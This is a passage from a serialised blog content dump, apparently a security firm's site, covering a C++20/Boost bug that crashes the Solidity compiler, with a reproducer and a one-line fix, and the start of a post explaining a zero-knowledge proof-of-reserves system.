-std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[90193],{"type":23,"tag":38,"props":90194,"children":90195},{"__ignoreMap":7},[90196,90204,90216,90223,90238,90262,90285],{"type":23,"tag":141,"props":90197,"children":90198},{"class":143,"line":144},[90199],{"type":23,"tag":141,"props":90200,"children":90201},{"style":443},[90202],{"type":29,"value":90203},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":141,"props":90205,"children":90206},{"class":143,"line":180},[90207,90211],{"type":23,"tag":141,"props":90208,"children":90209},{"style":148},[90210],{"type":29,"value":88900},{"type":23,"tag":141,"props":90212,"children":90213},{"style":828},[90214],{"type":29,"value":90215}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":141,"props":90217,"children":90218},{"class":143,"line":205},[90219],{"type":23,"tag":141,"props":90220,"children":90221},{"emptyLinePlaceholder":15},[90222],{"type":29,"value":719},{"type":23,"tag":141,"props":90224,"children":90225},{"class":143,"line":218},[90226,90230,90234],{"type":23,"tag":141,"props":90227,"children":90228},{"style":449},[90229],{"type":29,"value":17718},{"type":23,"tag":141,"props":90231,"children":90232},{"style":184},[90233],{"type":29,"value":89265},{"type":23,"tag":141,"props":90235,"children":90236},{"style":154},[90237],{"type":29,"value":14412},{"type":23,"tag":141,"props":90239,"children":90240},{"class":143,"line":227},[90241,90246,90250,90254,90258],{"type":23,"tag":141,"props":90242,"children":90243},{"style":154},[90244],{"type":29,"value":90245}," boost::rational",{"type":23,"tag":141,"props":90247,"children":90248},{"style":160},[90249],{"type":29,"value":4480},{"type":23,"tag":141,"props":90251,"children":90252},{"style":449},[90253],{"type":29,"value":17718},{"type":23,"tag":141,"props":90255,"children":90256},{"style":160},[90257],{"type":29,"value":9142},{"type":23,"tag":141,"props":90259,"children":90260},{"style":154},[90261],{"type":29,"value":89294},{"type":23,"tag":141,"props":90263,"children":90264},{"class":143,"line":241},[90265,90269,90273,90277,90281],{"type":23,"tag":141,"props":90266,"children":90267},{"style":148},[90268],{"type":29,"value":15665},{"type":23,"tag":141,"props":90270,"children":90271},{"style":154},[90272],{"type":29,"value":89306},{"type":23,"tag":141,"props":90274,"children":90275},{"style":160},[90276],{"type":29,"value":7251},{"type":23,"tag":141,"props":90278,"children":90279},{"style":472},[90280],{"type":29,"value":1707},{"type":23,"tag":141,"props":90282,"children":90283},{"style":154},[90284],{"type":29,"value":1684},{"type":23,"tag":141,"props":90286,"children":90287},{"class":143,"line":262},[90288],{"type":23,"tag":141,"props":90289,"children":90290},{"style":154},[90291],{"type":29,"value":2573},{"type":23,"tag":32,"props":90293,"children":90294},{},[90295],{"type":29,"value":90296},"Expected output: nothing.",{"type":23,"tag":32,"props":90298,"children":90299},{},[90300],{"type":29,"value":90301},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":32,"props":90303,"children":90304},{},[90305,90307,90314],{"type":29,"value":90306},"This exact pattern was ",{"type":23,"tag":55,"props":90308,"children":90311},{"href":90309,"rel":90310},"https://github.com/boostorg/rational/issues/43",[59],[90312],{"type":29,"value":90313},"reported and fixed in Boost rational",{"type":29,"value":90315},", but only in version 1.75+.",{"type":23,"tag":32,"props":90317,"children":90318},{},[90319],{"type":29,"value":90320},"Here’s the one-line fix:",{"type":23,"tag":131,"props":90322,"children":90324},{"code":90323,"language":38834,"meta":7,"className":38832,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[90325],{"type":23,"tag":38,"props":90326,"children":90327},{"__ignoreMap":7},[90328,90336,90343,90351,90359,90367,90374,90382,90390],{"type":23,"tag":141,"props":90329,"children":90330},{"class":143,"line":144},[90331],{"type":23,"tag":141,"props":90332,"children":90333},{"style":154},[90334],{"type":29,"value":90335},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":141,"props":90337,"children":90338},{"class":143,"line":180},[90339],{"type":23,"tag":141,"props":90340,"children":90341},{"style":154},[90342],{"type":29,"value":89952},{"type":23,"tag":141,"props":90344,"children":90345},{"class":143,"line":205},[90346],{"type":23,"tag":141,"props":90347,"children":90348},{"style":154},[90349],{"type":29,"value":90350},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":141,"props":90352,"children":90353},{"class":143,"line":218},[90354],{"type":23,"tag":141,"props":90355,"children":90356},{"style":154},[90357],{"type":29,"value":90358}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":141,"props":90360,"children":90361},{"class":143,"line":227},[90362],{"type":23,"tag":141,"props":90363,"children":90364},{"style":154},[90365],{"type":29,"value":90366}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":141,"props":90368,"children":90369},{"class":143,"line":241},[90370],{"type":23,"tag":141,"props":90371,"children":90372},{"style":154},[90373],{"type":29,"value":766},{"type":23,"tag":141,"props":90375,"children":90376},{"class":143,"line":262},[90377],{"type":23,"tag":141,"props":90378,"children":90379},{"style":828},[90380],{"type":29,"value":90381},"- return a == b;\n",{"type":23,"tag":141,"props":90383,"children":90384},{"class":143,"line":271},[90385],{"type":23,"tag":141,"props":90386,"children":90387},{"style":472},[90388],{"type":29,"value":90389},"+ return a.operator==(b);\n",{"type":23,"tag":141,"props":90391,"children":90392},{"class":143,"line":293},[90393],{"type":23,"tag":141,"props":90394,"children":90395},{"style":154},[90396],{"type":29,"value":2573},{"type":23,"tag":32,"props":90398,"children":90399},{},[90400,90402,90407,90409,90414],{"type":29,"value":90401},"Instead of calling ",{"type":23,"tag":38,"props":90403,"children":90405},{"className":90404},[],[90406],{"type":29,"value":88732},{"type":29,"value":90408}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":38,"props":90410,"children":90412},{"className":90411},[],[90413],{"type":29,"value":88740},{"type":29,"value":322},{"type":23,"tag":32,"props":90416,"children":90417},{},[90418],{"type":29,"value":90419},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":17463,"props":90421,"children":90422},{},[],{"type":23,"tag":24,"props":90424,"children":90426},{"id":90425},"part-iv-how-this-breaks-solidity",[90427],{"type":29,"value":90428},"Part IV: How This Breaks Solidity",{"type":23,"tag":32,"props":90430,"children":90431},{},[90432,90434,90439],{"type":29,"value":90433},"The Solidity codebase uses ",{"type":23,"tag":38,"props":90435,"children":90437},{"className":90436},[],[90438],{"type":29,"value":88587},{"type":29,"value":90440}," to represent certain compile-time constant expressions.",{"type":23,"tag":32,"props":90442,"children":90443},{},[90444,90446,90452],{"type":29,"value":90445},"One snippet that can trigger this issue appears in ",{"type":23,"tag":38,"props":90447,"children":90449},{"className":90448},[],[90450],{"type":29,"value":90451},"DeclarationTypeChecker::endVisit",{"type":29,"value":114},{"type":23,"tag":131,"props":90454,"children":90456},{"code":90455,"language":135,"meta":7,"className":133,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[90457],{"type":23,"tag":38,"props":90458,"children":90459},{"__ignoreMap":7},[90460,90507,90532,90539,90617,90624,90677,90705,90712,90732,90739,90779,90786],{"type":23,"tag":141,"props":90461,"children":90462},{"class":143,"line":144},[90463,90467,90472,90476,90480,90485,90489,90494,90498,90502],{"type":23,"tag":141,"props":90464,"children":90465},{"style":148},[90466],{"type":29,"value":14255},{"type":23,"tag":141,"props":90468,"children":90469},{"style":154},[90470],{"type":29,"value":90471}," (Expression ",{"type":23,"tag":141,"props":90473,"children":90474},{"style":449},[90475],{"type":29,"value":8334},{"type":23,"tag":141,"props":90477,"children":90478},{"style":160},[90479],{"type":29,"value":197},{"type":23,"tag":141,"props":90481,"children":90482},{"style":154},[90483],{"type":29,"value":90484}," length ",{"type":23,"tag":141,"props":90486,"children":90487},{"style":160},[90488],{"type":29,"value":1377},{"type":23,"tag":141,"props":90490,"children":90491},{"style":750},[90492],{"type":29,"value":90493}," _typeName",{"type":23,"tag":141,"props":90495,"children":90496},{"style":154},[90497],{"type":29,"value":322},{"type":23,"tag":141,"props":90499,"children":90500},{"style":184},[90501],{"type":29,"value":7179},{"type":23,"tag":141,"props":90503,"children":90504},{"style":154},[90505],{"type":29,"value":90506},"()) {\n",{"type":23,"tag":141,"props":90508,"children":90509},{"class":143,"line":180},[90510,90515,90519,90523,90527],{"type":23,"tag":141,"props":90511,"children":90512},{"style":154},[90513],{"type":29,"value":90514}," std::optional",{"type":23,"tag":141,"props":90516,"children":90517},{"style":160},[90518],{"type":29,"value":4480},{"type":23,"tag":141,"props":90520,"children":90521},{"style":154},[90522],{"type":29,"value":89592},{"type":23,"tag":141,"props":90524,"children":90525},{"style":160},[90526],{"type":29,"value":9142},{"type":23,"tag":141,"props":90528,"children":90529},{"style":154},[90530],{"type":29,"value":90531}," lengthValue;\n",{"type":23,"tag":141,"props":90533,"children":90534},{"class":143,"line":205},[90535],{"type":23,"tag":141,"props":90536,"children":90537},{"emptyLinePlaceholder":15},[90538],{"type":29,"value":719},{"type":23,"tag":141,"props":90540,"children":90541},{"class":143,"line":218},[90542,90546,90550,90554,90558,90562,90566,90570,90574,90579,90583,90587,90591,90595,90599,90604,90608,90612],{"type":23,"tag":141,"props":90543,"children":90544},{"style":148},[90545],{"type":29,"value":151},{"type":23,"tag":141,"props":90547,"children":90548},{"style":154},[90549],{"type":29,"value":1220},{"type":23,"tag":141,"props":90551,"children":90552},{"style":750},[90553],{"type":29,"value":7179},{"type":23,"tag":141,"props":90555,"children":90556},{"style":154},[90557],{"type":29,"value":12435},{"type":23,"tag":141,"props":90559,"children":90560},{"style":184},[90561],{"type":29,"value":1238},{"type":23,"tag":141,"props":90563,"children":90564},{"style":154},[90565],{"type":29,"value":1243},{"type":23,"tag":141,"props":90567,"children":90568},{"style":750},[90569],{"type":29,"value":31225},{"type":23,"tag":141,"props":90571,"children":90572},{"style":160},[90573],{"type":29,"value":1253},{"type":23,"tag":141,"props":90575,"children":90576},{"style":750},[90577],{"type":29,"value":90578}," length",{"type":23,"tag":141,"props":90580,"children":90581},{"style":154},[90582],{"type":29,"value":12435},{"type":23,"tag":141,"props":90584,"children":90585},{"style":184},[90586],{"type":29,"value":1238},{"type":23,"tag":141,"props":90588,"children":90589},{"style":154},[90590],{"type":29,"value":1243},{"type":23,"tag":141,"props":90592,"children":90593},{"style":750},[90594],{"type":29,"value":31225},{"type":23,"tag":141,"props":90596,"children":90597},{"style":154},[90598],{"type":29,"value":12435},{"type":23,"tag":141,"props":90600,"children":90601},{"style":184},[90602],{"type":29,"value":90603},"category",{"type":23,"tag":141,"props":90605,"children":90606},{"style":154},[90607],{"type":29,"value":12720},{"type":23,"tag":141,"props":90609,"children":90610},{"style":160},[90611],{"type":29,"value":7251},{"type":23,"tag":141,"props":90613,"children":90614},{"style":154},[90615],{"type":29,"value":90616}," Type::Category::RationalNumber)\n",{"type":23,"tag":141,"props":90618,"children":90619},{"class":143,"line":227},[90620],{"type":23,"tag":141,"props":90621,"children":90622},{"style":154},[90623],{"type":29,"value":80327},{"type":23,"tag":141,"props":90625,"children":90626},{"class":143,"line":241},[90627,90632,90636,90641,90645,90650,90654,90659,90663,90668,90672],{"type":23,"tag":141,"props":90628,"children":90629},{"style":148},[90630],{"type":29,"value":90631}," else",{"type":23,"tag":141,"props":90633,"children":90634},{"style":148},[90635],{"type":29,"value":14464},{"type":23,"tag":141,"props":90637,"children":90638},{"style":154},[90639],{"type":29,"value":90640}," (std::optional",{"type":23,"tag":141,"props":90642,"children":90643},{"style":160},[90644],{"type":29,"value":4480},{"type":23,"tag":141,"props":90646,"children":90647},{"style":154},[90648],{"type":29,"value":90649},"ConstantEvaluator::TypedRational",{"type":23,"tag":141,"props":90651,"children":90652},{"style":160},[90653],{"type":29,"value":9142},{"type":23,"tag":141,"props":90655,"children":90656},{"style":154},[90657],{"type":29,"value":90658}," value ",{"type":23,"tag":141,"props":90660,"children":90661},{"style":160},[90662],{"type":29,"value":1377},{"type":23,"tag":141,"props":90664,"children":90665},{"style":154},[90666],{"type":29,"value":90667}," ConstantEvaluator::",{"type":23,"tag":141,"props":90669,"children":90670},{"style":184},[90671],{"type":29,"value":36476},{"type":23,"tag":141,"props":90673,"children":90674},{"style":154},[90675],{"type":29,"value":90676},"(...))\n",{"type":23,"tag":141,"props":90678,"children":90679},{"class":143,"line":262},[90680,90685,90689,90693,90697,90701],{"type":23,"tag":141,"props":90681,"children":90682},{"style":154},[90683],{"type":29,"value":90684}," lengthValue ",{"type":23,"tag":141,"props":90686,"children":90687},{"style":160},[90688],{"type":29,"value":1377},{"type":23,"tag":141,"props":90690,"children":90691},{"style":750},[90692],{"type":29,"value":30979},{"type":23,"tag":141,"props":90694,"children":90695},{"style":154},[90696],{"type":29,"value":12435},{"type":23,"tag":141,"props":90698,"children":90699},{"style":750},[90700],{"type":29,"value":37623},{"type":23,"tag":141,"props":90702,"children":90703},{"style":154},[90704],{"type":29,"value":1684},{"type":23,"tag":141,"props":90706,"children":90707},{"class":143,"line":271},[90708],{"type":23,"tag":141,"props":90709,"children":90710},{"emptyLinePlaceholder":15},[90711],{"type":29,"value":719},{"type":23,"tag":141,"props":90713,"children":90714},{"class":143,"line":293},[90715,90719,90723,90727],{"type":23,"tag":141,"props":90716,"children":90717},{"style":148},[90718],{"type":29,"value":151},{"type":23,"tag":141,"props":90720,"children":90721},{"style":154},[90722],{"type":29,"value":1220},{"type":23,"tag":141,"props":90724,"children":90725},{"style":160},[90726],{"type":29,"value":19293},{"type":23,"tag":141,"props":90728,"children":90729},{"style":154},[90730],{"type":29,"value":90731},"lengthValue)\n",{"type":23,"tag":141,"props":90733,"children":90734},{"class":143,"line":801},[90735],{"type":23,"tag":141,"props":90736,"children":90737},{"style":154},[90738],{"type":29,"value":80327},{"type":23,"tag":141,"props":90740,"children":90741},{"class":143,"line":810},[90742,90746,90750,90754,90758,90762,90766,90770,90774],{"type":23,"tag":141,"props":90743,"children":90744},{"style":148},[90745],{"type":29,"value":90631},{"type":23,"tag":141,"props":90747,"children":90748},{"style":148},[90749],{"type":29,"value":14464},{"type":23,"tag":141,"props":90751,"children":90752},{"style":154},[90753],{"type":29,"value":1220},{"type":23,"tag":141,"props":90755,"children":90756},{"style":160},[90757],{"type":29,"value":197},{"type":23,"tag":141,"props":90759,"children":90760},{"style":154},[90761],{"type":29,"value":88563},{"type":23,"tag":141,"props":90763,"children":90764},{"style":160},[90765],{"type":29,"value":7251},{"type":23,"tag":141,"props":90767,"children":90768},{"style":472},[90769],{"type":29,"value":1707},{"type":23,"tag":141,"props":90771,"children":90772},{"style":154},[90773],{"type":29,"value":1788},{"type":23,"tag":141,"props":90775,"children":90776},{"style":443},[90777],{"type":29,"value":90778}," // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":141,"props":90780,"children":90781},{"class":143,"line":824},[90782],{"type":23,"tag":141,"props":90783,"children":90784},{"style":154},[90785],{"type":29,"value":80327},{"type":23,"tag":141,"props":90787,"children":90788},{"class":143,"line":839},[90789],{"type":23,"tag":141,"props":90790,"children":90791},{"style":154},[90792],{"type":29,"value":2573},{"type":23,"tag":32,"props":90794,"children":90795},{},[90796],{"type":29,"value":90797},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":15362,"props":90799,"children":90800},{},[90801,90806,90811],{"type":23,"tag":120,"props":90802,"children":90803},{},[90804],{"type":29,"value":90805},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":120,"props":90807,"children":90808},{},[90809],{"type":29,"value":90810},"C++20 reverses the arguments",{"type":23,"tag":120,"props":90812,"children":90813},{},[90814],{"type":29,"value":90815},"The non-member operator recursively calls itself",{"type":23,"tag":32,"props":90817,"children":90818},{},[90819],{"type":29,"value":90820},"💥: segmentation fault.",{"type":23,"tag":17463,"props":90822,"children":90823},{},[],{"type":23,"tag":24,"props":90825,"children":90827},{"id":90826},"part-v-what-environments-are-affected",[90828],{"type":29,"value":90829},"Part V: What Environments are Affected?",{"type":23,"tag":32,"props":90831,"children":90832},{},[90833],{"type":29,"value":90834},"If a system uses any of the following:",{"type":23,"tag":15362,"props":90836,"children":90837},{},[90838,90843,90848],{"type":23,"tag":120,"props":90839,"children":90840},{},[90841],{"type":29,"value":90842},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":120,"props":90844,"children":90845},{},[90846],{"type":29,"value":90847},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":120,"props":90849,"children":90850},{},[90851],{"type":29,"value":90852},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":32,"props":90854,"children":90855},{},[90856,90858,90863,90865,90871],{"type":29,"value":90857},"They will encounter this crash ",{"type":23,"tag":3998,"props":90859,"children":90860},{},[90861],{"type":29,"value":90862},"as soon as",{"type":29,"value":90864}," it processes a Solidity source with a length expression like ",{"type":23,"tag":38,"props":90866,"children":90868},{"className":90867},[],[90869],{"type":29,"value":90870},"T[0]",{"type":29,"value":90872}," or anything involving compile-time rational comparisons.",{"type":23,"tag":17463,"props":90874,"children":90875},{},[],{"type":23,"tag":24,"props":90877,"children":90879},{"id":90878},"recommendations",[90880],{"type":29,"value":90881},"Recommendations",{"type":23,"tag":15362,"props":90883,"children":90884},{},[90885,90893],{"type":23,"tag":120,"props":90886,"children":90887},{},[90888],{"type":23,"tag":3998,"props":90889,"children":90890},{},[90891],{"type":29,"value":90892},"Update Boost to ≥ 1.75",{"type":23,"tag":120,"props":90894,"children":90895},{},[90896],{"type":23,"tag":3998,"props":90897,"children":90898},{},[90899],{"type":29,"value":90900},"Pin G++ to v14 or later",{"type":23,"tag":17463,"props":90902,"children":90903},{},[],{"type":23,"tag":24,"props":90905,"children":90906},{"id":27618},[90907],{"type":29,"value":17618},{"type":23,"tag":32,"props":90909,"children":90910},{},[90911],{"type":29,"value":90912},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":32,"props":90914,"children":90915},{},[90916,90918,90922],{"type":29,"value":90917},"But it ",{"type":23,"tag":3998,"props":90919,"children":90920},{},[90921],{"type":29,"value":2649},{"type":29,"value":90923}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":32,"props":90925,"children":90926},{},[90927],{"type":29,"value":90928},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":32,"props":90930,"children":90931},{},[90932],{"type":29,"value":90933},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":1508,"props":90935,"children":90936},{},[90937],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":90939},[90940,90941,90946,90949,90950,90951,90952,90953],{"id":88623,"depth":180,"text":88626},{"id":88712,"depth":180,"text":88715,"children":90942},[90943,90944,90945],{"id":88718,"depth":205,"text":88721},{"id":88786,"depth":205,"text":88789},{"id":88877,"depth":205,"text":88880},{"id":89461,"depth":180,"text":89464,"children":90947},[90948],{"id":89467,"depth":205,"text":89470},{"id":89578,"depth":180,"text":89581},{"id":90425,"depth":180,"text":90428},{"id":90826,"depth":180,"text":90829},{"id":90878,"depth":180,"text":90881},{"id":27618,"depth":180,"text":17618},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":90958,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":90959,"description":90960,"date":90961,"author":29668,"image":90962,"isFeatured":15,"onBlogPage":15,"tags":90964,"body":90967,"_type":1522,"_id":95743,"_source":1524,"_file":95744,"_stem":95745,"_extension":1527},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":90963,"width":13,"height":13},"/posts/por/title.png",[90965,90966],"zk","por",{"type":20,"children":90968,"toc":95720},[90969,90975,90987,90999,91004,91036,91050,91056,91068,91073,91078,91115,91120,91126,91131,91138,91143,91169,91174,91180,91200,91214,91222,91227,91232,91240,91253,91259,91341,91347,91352,91365,91370,91377,91401,91409,91414,91420,91425,91873,91886,91892,91897,91905,91923,91931,91944,91952,93613,93618,93625,93631,93636,93643,93659,93666,93674,93681,95192,95197,95204,95210,95215,95242,95247,95266,95272,95280,95298,95347,95355,95374,95396,95402,95415,95420,95427,95432,95495,95500,95507,95527,95533,95538,95544,95549,95593,95598,95606,95612,95617,95659,95664,95672,95677,95685,95689,95694,95707],{"type":23,"tag":24,"props":90970,"children":90972},{"id":90971},"what-is-a-proof-of-reserves",[90973],{"type":29,"value":90974},"What is a Proof of Reserves?",{"type":23,"tag":32,"props":90976,"children":90977},{},[90978,90980,90985],{"type":29,"value":90979},"At its heart, ",{"type":23,"tag":3998,"props":90981,"children":90982},{},[90983],{"type":29,"value":90984},"Proof of Reserves (PoR)",{"type":29,"value":90986}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":32,"props":90988,"children":90989},{},[90990,90992,90997],{"type":29,"value":90991},"Think of it this way: ",{"type":23,"tag":3998,"props":90993,"children":90994},{},[90995],{"type":29,"value":90996},"PoR",{"type":29,"value":90998}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":32,"props":91000,"children":91001},{},[91002],{"type":29,"value":91003},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":32,"props":91005,"children":91006},{},[91007,91009,91016,91018,91025,91027,91034],{"type":29,"value":91008},"We from OtterSec, in partnership with ",{"type":23,"tag":55,"props":91010,"children":91013},{"href":91011,"rel":91012},"https://backpack.exchange/",[59],[91014],{"type":29,"value":91015},"Backpack",{"type":29,"value":91017},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":55,"props":91019,"children":91022},{"href":91020,"rel":91021},"https://github.com/otter-sec/por_v2",[59],[91023],{"type":29,"value":91024},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":91026}," was based on ",{"type":23,"tag":55,"props":91028,"children":91031},{"href":91029,"rel":91030},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[59],[91032],{"type":29,"value":91033},"OKX Proof of Reserves algorithm",{"type":29,"value":91035}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":32,"props":91037,"children":91038},{},[91039,91041,91048],{"type":29,"value":91040},"In addition, we also created and open-sourced a ",{"type":23,"tag":55,"props":91042,"children":91045},{"href":91043,"rel":91044},"https://github.com/otter-sec/por_verifier_server",[59],[91046],{"type":29,"value":91047},"PoR verifier server",{"type":29,"value":91049}," that receives the proofs and validates them.",{"type":23,"tag":24,"props":91051,"children":91053},{"id":91052},"why-do-we-use-zk-for-por",[91054],{"type":29,"value":91055},"Why do we use ZK for PoR?",{"type":23,"tag":32,"props":91057,"children":91058},{},[91059,91061,91066],{"type":29,"value":91060},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":3998,"props":91062,"children":91063},{},[91064],{"type":29,"value":91065},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":91067}," become game-changers.",{"type":23,"tag":32,"props":91069,"children":91070},{},[91071],{"type":29,"value":91072},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":32,"props":91074,"children":91075},{},[91076],{"type":29,"value":91077},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":116,"props":91079,"children":91080},{},[91081,91098],{"type":23,"tag":120,"props":91082,"children":91083},{},[91084,91089,91091,91097],{"type":23,"tag":3998,"props":91085,"children":91086},{},[91087],{"type":29,"value":91088},"Sum proof",{"type":29,"value":91090},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":38,"props":91092,"children":91094},{"className":91093},[],[91095],{"type":29,"value":91096},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":19414},{"type":23,"tag":120,"props":91099,"children":91100},{},[91101,91106,91108,91113],{"type":23,"tag":3998,"props":91102,"children":91103},{},[91104],{"type":29,"value":91105},"Non-negativity",{"type":29,"value":91107},": All users have a ",{"type":23,"tag":3998,"props":91109,"children":91110},{},[91111],{"type":29,"value":91112},"positive",{"type":29,"value":91114}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":32,"props":91116,"children":91117},{},[91118],{"type":29,"value":91119},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":24,"props":91121,"children":91123},{"id":91122},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[91124],{"type":29,"value":91125},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":32,"props":91127,"children":91128},{},[91129],{"type":29,"value":91130},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":32,"props":91132,"children":91133},{},[91134],{"type":23,"tag":2591,"props":91135,"children":91137},{"alt":49057,"src":91136},"/posts/por/merkle-tree.png",[],{"type":23,"tag":32,"props":91139,"children":91140},{},[91141],{"type":29,"value":91142},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":116,"props":91144,"children":91145},{},[91146,91159,91164],{"type":23,"tag":120,"props":91147,"children":91148},{},[91149,91151,91157],{"type":29,"value":91150},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":38,"props":91152,"children":91154},{"className":91153},[],[91155],{"type":29,"value":91156},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":91158},");",{"type":23,"tag":120,"props":91160,"children":91161},{},[91162],{"type":29,"value":91163},"The Merkle tree is made public;",{"type":23,"tag":120,"props":91165,"children":91166},{},[91167],{"type":29,"value":91168},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":32,"props":91170,"children":91171},{},[91172],{"type":29,"value":91173},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":24,"props":91175,"children":91177},{"id":91176},"ottersec-porv2",[91178],{"type":29,"value":91179},"OtterSec PoRv2",{"type":23,"tag":32,"props":91181,"children":91182},{},[91183,91189,91191,91198],{"type":23,"tag":55,"props":91184,"children":91186},{"href":91020,"rel":91185},[59],[91187],{"type":29,"value":91188},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":91190},", which uses the ",{"type":23,"tag":55,"props":91192,"children":91195},{"href":91193,"rel":91194},"https://github.com/0xPolygonZero/plonky2",[59],[91196],{"type":29,"value":91197},"plonky2 ZK algorithm",{"type":29,"value":91199}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":32,"props":91201,"children":91202},{},[91203,91205,91212],{"type":29,"value":91204},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":55,"props":91206,"children":91209},{"href":91207,"rel":91208},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[59],[91210],{"type":29,"value":91211},"Vitalik's proof of solvency",{"type":29,"value":91213},", which was not optimal.",{"type":23,"tag":32,"props":91215,"children":91216},{},[91217],{"type":23,"tag":3998,"props":91218,"children":91219},{},[91220],{"type":29,"value":91221},"Non-negativity Proof",{"type":23,"tag":32,"props":91223,"children":91224},{},[91225],{"type":29,"value":91226},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":32,"props":91228,"children":91229},{},[91230],{"type":29,"value":91231},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":32,"props":91233,"children":91234},{},[91235],{"type":23,"tag":3998,"props":91236,"children":91237},{},[91238],{"type":29,"value":91239},"Sum Proof",{"type":23,"tag":32,"props":91241,"children":91242},{},[91243,91245,91251],{"type":29,"value":91244},"The sum proof verifies a public circuit input that was calculated by summing up all user 